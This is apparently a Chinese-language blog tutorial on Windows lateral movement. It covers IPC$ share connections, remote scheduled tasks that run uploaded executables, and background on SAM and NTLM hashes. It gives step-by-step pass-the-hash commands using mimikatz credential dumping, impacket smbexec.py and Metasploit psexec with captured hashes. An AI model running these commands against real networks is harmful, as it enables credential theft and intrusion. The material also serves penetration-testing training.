内网横向1

IPC$详解

IPC( Internet Process Connection) 共享 " 命名管道 " 的资源 , 是为了实现进程间通信而开放的命名管道。 IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用
通过 ipc$ ,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件 , 进行上传、下载 操作 还可以在日标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息
其默认使用端口为139、445

利用条件:

1.开启139、445端口.

2.管理员开启默认共享,可以用net share 查看

详细命令:

Go 复制代码
建立ipc连接:net use \\10.1.1.135\$ipc
删除ipc连接:net use \\10.1.1.135\$ipc /del
遍历c盘下windows目录:  dir \\10.1.1.135\c$\Windows   或者:dir \\10.1.1.135\admin$
复制本地文件到目标机器下users目录:  copy shell.bat \\10.1.1.135\c$\Users 
查看任务:tasklist /S \\10.1.1.135



windows2008及以下: 
添加一项ID为777的任务在4:13执行:
at \\10.1.1.132: 4:13 c:\artifact.exe added a new job with jobid=777   
查看计划任务列表:
at \\10.1.1.132
删除 id 为 777 的计划任务,不加 id 删除所有计划任务:
at \\10.1.1.132 777 /delete


windows2008以上:
添加一项ID为test的任务在4:13执行:
schtasks /create /s 10.1.1.135 /tn test /sc once /st 04:13 /ru system /tr
"cmd.exe /c ipconfig > c:\1.txt" /f /u
立即执行该任务:
schtasks /run /s 10.1.1.135 /i /tn test
删除该任务:
schtasks /s 10.1.1.135 /delete /tn test /f

没有命令回显:

Go 复制代码
计划运行后
type \\10.1.1.135\c$\1.txt

Windows认证

windows本地认证:

路径: %SystemRoot%\system32\config\sam (c:\\windows\system32\config\sam)
当我们登录系统的时候 , 系统会自动地读取 SAM 文件中的 " 密码 " 与我们输入的 " 密码 " 进行比对,如果相 同,证明认证成功! 这个SAM 文件中保留了计算机本地所有用户的凭证信息,可以理解为是一个数据库。

NTLM Hash

NTLM HASH 是支持 Net NTLM 认证协议以及本地认证过程中的一个重要参与物,其长度为 32 位,
由数字和字母组成
Windows 本身不存储用户的明文密码,他会将用户的明文密码经过加密算法后存储在 SAM 数据库

当用户登录时,将用户输入的明文密码也加密成 NTLM HASH ,与 SAM 数据库中的 NTLM HASH 进
行对比, NTLM HASH 的前身是 LM HASH ,目前已经基本被淘汰(因为算法比较脆弱,但是目前老
版本操作系统还是存在,比如 XP , Server 03 )。
这个 NTLM 是一种网络认证协议,与 NTLM Hash 的关系就是: NTLM 网络认证协议是以 NTLM Hash
作为根本凭证进行认证的协议。也就是说, NTLM 与 NTLM Hash 相互对应。

LM Hash(已废弃)

在 NTLM 协议问世之前,它的前身就是 LM ( LAN Manager )协议。
LM 与 NTLM 协议的认证机制相同,但是加密算法不同。
目前大多数的 Windows 都采用 NTLM 协议认证, LM 协议已经基本淘汰了,服务器版从 Wndows
Sever2003 以后, Windows 操作系统的认证方式均为 NTLM Hash 。

Windows网络认证

NTLM协议

NTLM 是一种网络认证协议,它是基于挑战( Chalenge ) / 响应( Response )认证机制的一种认证模 式。这个协议只支持Windows 早期 SMB 协议在网络上传输明文口令。后来出现 LAN Manager
Challenge/Response 验证机制,简称 LM ,它是如此简单以至很容易就被破解,现在又有了 NTLM 以及 Kerberos。

NTLM V2****协议

NTLM v1 与 NTLM v2 最显著的区别就是 Challenge 与加密算法不同,共同点就是加密的原料都是 NTLM Hash。
不同之处 :
Challage:NTLM v1 的 Challenge 有 8 位, NTLM v2 的 Challenge 为 16 位。
Net-NTLM Hash:NTLM v1 的主要加密算法是 DES , NTLM v2 的主要加密算法是 HMAC-MD5 。

Pass The Hash**(哈希传递)**

哈希传递是能够在不需要账户明文密码的情况下完成认证的一个技术。解决了我们渗透中获取不到明文密码、破解不了NTLM Hash而又 想扩大战果的问题

进行哈希传递的必要条件:

1.哈希传递需要被认证的主机能够访问到服务器

2.哈希传递需要被传递认证的用户名
3.哈希传递需要被传递认证用户的 NTLM Hash

常用工具

mimikatz(windows->windows)

cls-----------------------------清屏
exit----------------------------退出
version------------查看mimikatz的版本
system::user-----查看当前登录的系统用户
system::computer-------查看计算机名称
process::list------------------列出进程
process::suspend 进程名称 -----暂停进程
process::stop 进程名称---------结束进程
process::modules --列出系统的核心模块及所在位置
service::list---------------列出系统的服务
service::remove-----------移除系统的服务
service::start stop 服务名称--启动或停止服务
privilege::list---------------列出权限列表
privilege::enable--------激活一个或多个权限
privilege::debug-----------------提升权限
nogpo::cmd------------打开系统的cmd.exe
nogpo::regedit -----------打开系统的注册表
nogpo::taskmgr-------------打开任务管理器
ts::sessions-----------------显示当前的会话
ts::processes------显示进程和对应的pid情况等
sekurlsa::wdigest-----获取本地用户信息及密码
sekurlsa::tspkg------获取tspkg用户信息及密码
sekurlsa::logonPasswords--获登陆用户信息及密码
kerberos::purge # 清除票据
kerberos::list # 查看票据
kerberos::ptc # 导入票据
kerberos::clist # 导入.bin文件
lsadump::lsa /patch   #在DC上查询所有域用户的密码


mimikatz.exe privilege::debug sekurlsa::logonpasswords > 1.txt exit  -------一句话抓密码

常规流程:
mimikatz # a:: // 查看模块 以管理员或其他高权限启动 mimikatz
mimikatz # privilege::debug // 提升至 system 权限 显示 Privilege '20' OK 表示提权成功
mimikatz # sekurlsa:: // 查看指定模块下命令
mimikatz # sekurlsa::logonPasswords // 抓取密码及 hash
哈希传递:
hash 传递成功后 mimikatz 会帮你打开一个目标机 system 权限的 cmd 窗口

mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:administrator /domain:WIN-1NUOMDF66RK
/ntlm:afffeba176210fad4628f0524bfe1942

安装 KB2871997 补丁主机 AES256 密钥哈希传递

mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
mimikatz # sekurlsa::pth /user:administrator /domain:WIN-1NUOMDF66RK /aes256:抓到
的aes256值

impacket - smbexec.py(linux->windows)

smbexec.py

# 明文密码传递
smbexec.py administrator:123.com\@192.168.23.144
# NTLM hash 传递
smbexec.py administrator@192.168.23.144 -hashes
:afffeba176210fad4628f0524bfe1942
smbexec.py PEIXUN/Administrator@192.168.23.100 -hashes
:afffeba176210fad4628f0524bfe1942

msf-psexec

msfconsole
use /exploit/windows/smb/psexec
show options

可以看到已经默认设置完了,但是需要额外设置smbuser、smbpass、rhost

set rhost 10.1.1.128   #目标地址
set SMBUser Administrator  #目标地址username
set smbpass bc527e95ccf12e45f4e80923367f85d:2f60d4a58005210ac1580a9aaa7d7e95    #通过mimikatz抓取到的目标地址的LM和NTLM
相关推荐
pouop几秒前
Linux进程信号保存/操作系统运行原理
运维·服务器
檀越剑指大厂21 分钟前
【Python系列】异步 Web 服务器
服务器·前端·python
楚疏笃24 分钟前
linux安全管理-账号口令
linux·服务器·安全
Hello Dam25 分钟前
基于 Spring Boot 实现图片的服务器本地存储及前端回显
服务器·前端·spring boot
LightOfNight25 分钟前
Redis设计与实现第14章 -- 服务器 总结(命令执行器 serverCron函数 初始化)
服务器·数据库·redis·分布式·后端·缓存·中间件
孤邑26 分钟前
【Linux】网络通信
linux·服务器·网络·笔记·学习
cykaw259038 分钟前
Linux和Ubuntu的关系
linux·运维·服务器
C-20021 小时前
selinux和防火墙
linux·服务器·网络
丁总学Java1 小时前
uname -m(machine) 命令用于显示当前系统的机器硬件架构(Unix Name)
服务器·硬件架构·unix
Python私教1 小时前
Ubuntu 22 安装 NVM 详细步骤及常见问题解决方案
linux·运维·ubuntu